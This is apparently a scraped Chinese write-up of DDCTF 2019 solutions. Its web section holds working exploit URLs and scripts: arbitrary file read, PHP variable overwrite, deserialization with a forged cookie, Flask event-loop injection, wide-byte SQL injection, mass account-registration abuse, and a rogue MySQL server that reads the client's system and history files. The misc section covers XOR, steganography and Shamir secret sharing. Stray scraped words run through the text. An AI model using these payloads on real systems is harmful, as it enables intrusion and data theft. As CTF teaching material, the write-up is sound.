DDCTF 2019 部分WP

WEB

滴~

http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09php

觀察連接可發現jpg的值是文件名轉hex再base64編碼兩次獲得,由此獲得任意文件讀取漏洞html

讀取index.phppython

http://117.51.150.246/index.php?jpg=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3mysql

將源碼中的base解碼獲得源碼git

備註是提示,訪問該博客該日期的文章,獲得提示 .practice.txt.swp,最後發現flag文件github

結合index.php的邏輯web

將f1agconfigddctf.php轉爲hex字符串,base64編碼兩次,而後sql

http://117.51.150.246/index.php?jpg=TmpZek1UWXhOamMyTXpabU5tVTJOalk1TmpjMk5EWTBOak0zTkRZMk1tVTNNRFk0TnpBPQ==數據庫

獲得f1ag!ddctf.php的源碼,典型變量覆蓋flask

<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
    {
        echo $flag;
    }
    else
    {
        echo'hello';
    }
}

?>

http://117.51.150.246/f1ag!ddctf.php?k=php://input&uid=

 

WEB 簽到題

抓包發現有個認證的接口,有個username未填值

嘗試admin成功並給出了一個地址

訪問發現是源代碼

nickname處可注入%s帶出eancrykey

獲得eancrykey就可僞造Cookie,僞形成功便可形成反序列化漏洞

Application類可形成任意文件讀取

這裏能夠雙寫繞過

這裏判斷了長度,猜想flag文件路徑爲../config/flag.txt

最後payload

<?php
Class Application {
var $path = '....//config/flag.txt';
}
$o=new Application();
$session=serialize($o);
echo urlencode($session.md5("EzblrbNS".$session));

 

Upload-IMG

上傳的圖片會通過二次渲染,插入的多餘字符就會被刪除,將其渲染過的圖片用010editor打開會發現是GD

搜索找到相關方法和腳本

https://wiki.ioin.in/soft/detail/1q

初步嘗試屢次未成功,後將渲染後的圖片下載後再次用該腳本處理,上傳,成功繞過

 

homebrew event loop

# -*- encoding: utf-8 -*- 
# written in python 2.7 
__author__ = 'garzon' 

from flask import Flask, session, request, Response 
import urllib 

app = Flask(__name__) 
app.secret_key = '*********************' # censored 
url_prefix = '/d5af31f66177e857' 

def FLAG(): 
    return 'FLAG_is_here_but_i_wont_show_you'  # censored 
     
def trigger_event(event): 
    session['log'].append(event) 
    if len(session['log']) > 5: session['log'] = session['log'][-5:] 
    if type(event) == type([]): 
        request.event_queue += event 
    else: 
        request.event_queue.append(event) 

def get_mid_str(haystack, prefix, postfix=None): 
    haystack = haystack[haystack.find(prefix)+len(prefix):] 
    if postfix is not None: 
        haystack = haystack[:haystack.find(postfix)] 
    return haystack 
     
class RollBackException: pass 

def execute_event_loop(): 
    valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#') 
    resp = None 
    while len(request.event_queue) > 0: 
        event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......" 
        request.event_queue = request.event_queue[1:] 
        if not event.startswith(('action:', 'func:')): continue 
        for c in event: 
            if c not in valid_event_chars: break 
        else: 
            is_action = event[0] == 'a' 
            action = get_mid_str(event, ':', ';') 
            args = get_mid_str(event, action+';').split('#') 
            try: 
                event_handler = eval(action + ('_handler' if is_action else '_function')) 
                ret_val = event_handler(args) 
            except RollBackException: 
                if resp is None: resp = '' 
                resp += 'ERROR! All transactions have been cancelled. <br />' 
                resp += '<a href="./?action:view;index">Go back to index.html</a><br />' 
                session['num_items'] = request.prev_session['num_items'] 
                session['points'] = request.prev_session['points'] 
                break 
            except Exception, e: 
                if resp is None: resp = '' 
                #resp += str(e) # only for debugging 
                continue 
            if ret_val is not None: 
                if resp is None: resp = ret_val 
                else: resp += ret_val 
    if resp is None or resp == '': resp = ('404 NOT FOUND', 404) 
    session.modified = True 
    return resp 
     
@app.route(url_prefix+'/') 
def entry_point(): 
    querystring = urllib.unquote(request.query_string) 
    request.event_queue = [] 
    if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100: 
        querystring = 'action:index;False#False' 
    if 'num_items' not in session: 
        session['num_items'] = 0 
        session['points'] = 3 
        session['log'] = [] 
    request.prev_session = dict(session) 
    trigger_event(querystring) 
    return execute_event_loop() 

# handlers/functions below -------------------------------------- 

def view_handler(args): 
    page = args[0] 
    html = '' 
    html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points']) 
    if page == 'index': 
        html += '<a href="./?action:index;True%23False">View source code</a><br />' 
        html += '<a href="./?action:view;shop">Go to e-shop</a><br />' 
        html += '<a href="./?action:view;reset">Reset</a><br />' 
    elif page == 'shop': 
        html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />' 
    elif page == 'reset': 
        del session['num_items'] 
        html += 'Session reset.<br />' 
    html += '<a href="./?action:view;index">Go back to index.html</a><br />' 
    return html 

def index_handler(args): 
    bool_show_source = str(args[0]) 
    bool_download_source = str(args[1]) 
    if bool_show_source == 'True': 
     
        source = open('eventLoop.py', 'r') 
        html = '' 
        if bool_download_source != 'True': 
            html += '<a href="./?action:index;True%23True">Download this .py file</a><br />' 
            html += '<a href="./?action:view;index">Go back to index.html</a><br />' 
             
        for line in source: 
            if bool_download_source != 'True': 
                html += line.replace('&','&amp;').replace('\t', '&nbsp;'*4).replace(' ','&nbsp;').replace('<', '&lt;').replace('>','&gt;').replace('\n', '<br />') 
            else: 
                html += line 
        source.close() 
         
        if bool_download_source == 'True': 
            headers = {} 
            headers['Content-Type'] = 'text/plain' 
            headers['Content-Disposition'] = 'attachment; filename=serve.py' 
            return Response(html, headers=headers) 
        else: 
            return html 
    else: 
        trigger_event('action:view;index') 
         
def buy_handler(args): 
    num_items = int(args[0]) 
    if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0]) 
    session['num_items'] += num_items  
    trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index']) 
     
def consume_point_function(args): 
    point_to_consume = int(args[0]) 
    if session['points'] < point_to_consume: raise RollBackException() 
    session['points'] -= point_to_consume 
     
def show_flag_function(args): 
    flag = args[0] 
    #return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it. 
    return 'You naughty boy! ;) <br />' 
     
def get_flag_handler(args): 
    if session['num_items'] >= 5: 
        trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries 
    trigger_event('action:view;index') 
     
if __name__ == '__main__': 
    app.run(debug=False, host='0.0.0.0') 

 

首先發現此處action可控,可注入代碼,其後多餘部分可用#註釋

利用該點可調用腳本內任意帶參函數,好比調用show_flag_function

而後看到這裏,雖然不會顯示flag,但trigger_event中的內容會被記錄到log中,log在session中,而flask 是本地session,讀取本地session就行

最後思路就是,想辦法讓本身num_items大於5後調用get_flag_handler

注意到這裏買東西和扣錢的處理是分開的,直覺確定有問題。正常處理是先buy_handler,這時是不理會points直接增長num_items的,而後立刻consume_point_function,這時才比較points,points不夠的話就回滾session。若是這樣就必須想辦法先調用buy_handler,而後調用get_flag_handler,將consume_point_function排到後面才行

最後利用到trigger_event函數注入event構造出本身想要調用的順序

最終paylaod

http://116.85.48.107:5002/d5af31f66177e857/?action:trigger_event%23;action:buy;5%23action:get_flag;

或者這樣,只要不超過日誌容量且num_items大於等於5就行

http://116.85.48.107:5002/d5af31f66177e857/?action:trigger_event%23;action:buy;3%23action:buy;3%23action:get_flag;

用p神腳本解密本地session

 

歡迎報名DDCTF

一開始報名處存在XSS

用xss平臺讀取到源碼後發現一個接口

 

測出是寬字節注入後就常規操做查數據庫,查表名,列名,最後獲得flag。(一開始有看到gbk編碼想到是寬字節,但隨手測試一條payload發現不報錯就沒測了,後悔!,後面實在沒轍了就繼續測試才發現)

http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=1%20%da%27%20union%20select%201,2,3,4,flag%20%20from%20ctfdb%23

 

大吉大利,今晚吃雞

一開始僞造價格,發現後端按範圍是分別以32位和64位處理,由於64位最大整數+1報錯,32位最大整數+1報錯,然而其中間的某範圍數不報錯。通過測試發現提交32位最大整數*2+2到100的數就可買票,好比4294967296

而後寫腳本註冊小號,主號提交。兩個腳本這樣其實比較麻煩並且費時間,但我就是懶-.-,,沒有整合兩個腳本,最後是第一個腳本跑了足夠多的id和Tiket以後,第二個腳本提交

註冊小號獲得id和ticket

import requests
import re
import time

requests=requests.session()

def register(username):
    url='http://117.51.147.155:5050/ctf/api/register?name={}&password=123456789'.format(username)
    res=requests.get(url)
    return res.text

def buy():
    url='http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296'
    res=requests.get(url)
    bill_id=re.search('"bill_id":"(.*)","ticket_price',res.text).group(1)

    url='http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id={}'.format(bill_id)
    res=requests.get(url)
    return res.text

def xx(username):
    register(username)
    return buy()

f=open('acc10.txt','w')
for i in range(0,600):
    res=xx("l3yx_101_00"+str(i))
    time.sleep(3)
    print res
    f.writelines(res)
    f.flush()

主號提交

import requests
import re
import time

requests=requests.session()

def login(name,password):
    url='http://117.51.147.155:5050/ctf/api/login?name={}&password={}'.format(name,password)
    res=requests.get(url)
    return res.text

def submit(id,ticket):
    url='http://117.51.147.155:5050/ctf/api/remove_robot?id={}&ticket={}'.format(id,ticket)
    res=requests.get(url)
    return res.text

login('lei','123456789')
f=open('acc8.txt','r')
for i in f.readlines():
    id_=re.search('\[{"your_id":(.*),"your_ticket":"(.*)"}\]',i).group(1)
    ticket_=re.search('\[{"your_id":(.*),"your_ticket":"(.*)"}\]',i).group(2)
    time.sleep(2)
    print submit(id_,ticket_)

 

mysql弱口令

網站功能是掃描服務器上mysql的弱口令,應該是會用弱口令來鏈接個人mysql服務端,想到以前見過僞造mysql服務端來攻擊客戶端的騷操做

https://lightless.me/archives/read-mysql-client-file.html

1.服務器啓動mysql僞造腳本,因爲我本機裝有mysql,因此該僞造腳本端口設置在3307(網上公開腳本,非原創)

2.服務器啓動agent.py

3.在網頁填寫ip和端口進行掃描

此時僞造服務端的腳本已成功讀取/etc/passwd

繼續讀/root/.bash_history發現入口文件/home/dc2-user/ctf_web_2/app/main/views.py

從入口文件/home/dc2-user/ctf_web_2/app/main/views.py獲得提示flag在數據庫

嘗試讀取數據庫文件/var/lib/mysql/security/flag.ibd無果,貌似是空的???

最後讀取/root/.mysql_history發現flag

 

 

MISC

北京地鐵

根據Color Threshold提示測試LSB隱寫,找到一串密文

 

觀察圖片,發現有兩個位置顏色不一樣

 

嘗試用魏公村地名爲密鑰解密成功

 

MulTzor

github找到分析xor的工具

https://github.com/hellman/xortool

猜想是空格最多,因此-c後面是20。腳本得出key最大可能性長度是6,並給出了可能的key

但發現有部分亂碼,並且是每6個字符,第一個字符錯誤,很容易知道是腳本得出的key長度沒有問題,但第一個字符錯了

觀察下面有DCTF{,顯而易見前面那個亂碼是D,因此用這個位置的密文異或上D就能獲得key第一位

異或獲得key第一位

 

因此最後key是\x323\xffSY\x8b

 

WireShark

在HTTP包中找到3張圖片,分別導出字節流

 

前兩張類似但文件大小不一樣,第二張體積比較大

 

最後一個HTTP包還發現一個圖片加密隱藏信息的網站

須要密碼和加密後的圖片

猜想第二張圖片是第一張加密事後的,第三張鑰匙形狀的藏有密碼

最後發現鑰匙圖片是高度隱寫,修改高度後

 

解密

 

16進制到文本字符串

 

 

聯盟決策大會

參考如下文章

https://en.wikipedia.org/wiki/Shamir%27s_Secret_Sharing

https://blog.mythsman.com/2015/10/07/2/

根據題意猜想,組織1內部須要算出一段數據zh1,組織2內部算出zh2,而後zh1和zh2一塊兒算出z,最後z和p算出最終祕密,須要注意的是就是順序須要屢次測試,並且腳本內的_PRIME須要設置爲p

最終腳本

from __future__ import division
from __future__ import print_function
import random
import functools

_PRIME = 0x85FE375B8CDB346428F81C838FCC2D1A1BCDC7A0A08151471B203CDDF015C6952919B1DE33F21FB80018F5EA968BA023741AAA50BE53056DE7303EF702216EE9
_RINT = functools.partial(random.SystemRandom().randint, 0)

def _eval_at(poly, x, prime):
    accum = 0
    for coeff in reversed(poly):
        accum *= x
        accum += coeff
        accum %= prime
    return accum

def make_random_shares(minimum, shares, prime=_PRIME):
    if minimum > shares:
        raise ValueError("pool secret would be irrecoverable")
    poly = [_RINT(prime) for i in range(minimum)]
    points = [(i, _eval_at(poly, i, prime))
              for i in range(1, shares + 1)]
    return poly[0], points

def _extended_gcd(a, b):
    x = 0
    last_x = 1
    y = 1
    last_y = 0
    while b != 0:
        quot = a // b
        a, b = b, a%b
        x, last_x = last_x - quot * x, x
        y, last_y = last_y - quot * y, y
    return last_x, last_y

def _divmod(num, den, p):
    inv, _ = _extended_gcd(den, p)
    return num * inv

def _lagrange_interpolate(x, x_s, y_s, p):
    k = len(x_s)
    assert k == len(set(x_s)), "points must be distinct"
    def PI(vals):  # upper-case PI -- product of inputs
        accum = 1
        for v in vals:
            accum *= v
        return accum
    nums = []  # avoid inexact division
    dens = []
    for i in range(k):
        others = list(x_s)
        cur = others.pop(i)
        nums.append(PI(x - o for o in others))
        dens.append(PI(cur - o for o in others))
    den = PI(dens)
    num = sum([_divmod(nums[i] * den * y_s[i] % p, dens[i], p)
               for i in range(k)])
    return (_divmod(num, den, p) + p) % p

def recover_secret(shares, prime=_PRIME):
    if len(shares) < 2:
        raise ValueError("need at least two shares")
    x_s, y_s = zip(*shares)
    return _lagrange_interpolate(0, x_s, y_s, prime)


p=0x85FE375B8CDB346428F81C838FCC2D1A1BCDC7A0A08151471B203CDDF015C6952919B1DE33F21FB80018F5EA968BA023741AAA50BE53056DE7303EF702216EE9
z1_1=0x60E455AAEE0E836E518364442BFEAB8E5F4E77D16271A7A7B73E3A280C5E8FD142D3E5DAEF5D21B5E3CBAA6A5AB22191AD7C6A890D9393DBAD8230D0DC496964
z1_2=0x6D8B52879E757D5CEB8CBDAD3A0903EEAC2BB89996E89792ADCF744CF2C42BD3B4C74876F32CF089E49CDBF327FA6B1E36336CBCADD5BE2B8437F135BE586BB1
z1_4=0x74C0EEBCA338E89874B0D270C143523D0420D9091EDB96D1904087BA159464BF367B3C9F248C5CACC0DECC504F14807041997D86B0386468EC504A158BE39D7

z2_3=0x560607563293A98D6D6CCB219AC74B99931D06F7DEBBFDC2AFCC360A12A97D9CA950475036497F44F41DC5492977F9B4A0E4C8E0368C7606B7B82C34F561525
z2_4=0x445CCE871E61AD5FDE78ECE87C42219D5C9F372E5BEC90C4C4990D2F37755A4082C7B52214F897E4EC1B5FB4A296DBE5718A47253CC6E8EAF4584625D102CC62
z2_5=0x4F148B40332ACCCDC689C2A742349AEBBF01011BA322D07AD0397CE0685700510A34BDC062B26A96778FA1D0D4AFAF9B0507CC7652B0001A2275747D518EDDF5



z1= recover_secret( [ (1,z1_1), (2,z1_2) , (4,z1_4) ] )
z2=recover_secret( [ (3,z2_3) , (4,z2_4) , (5,z2_5) ] )
z=recover_secret( [ (1,z1) , (2,z2) ] )
print( recover_secret( [ (1,p) , (0,z) ] ) )

相關文章
相關標籤/搜索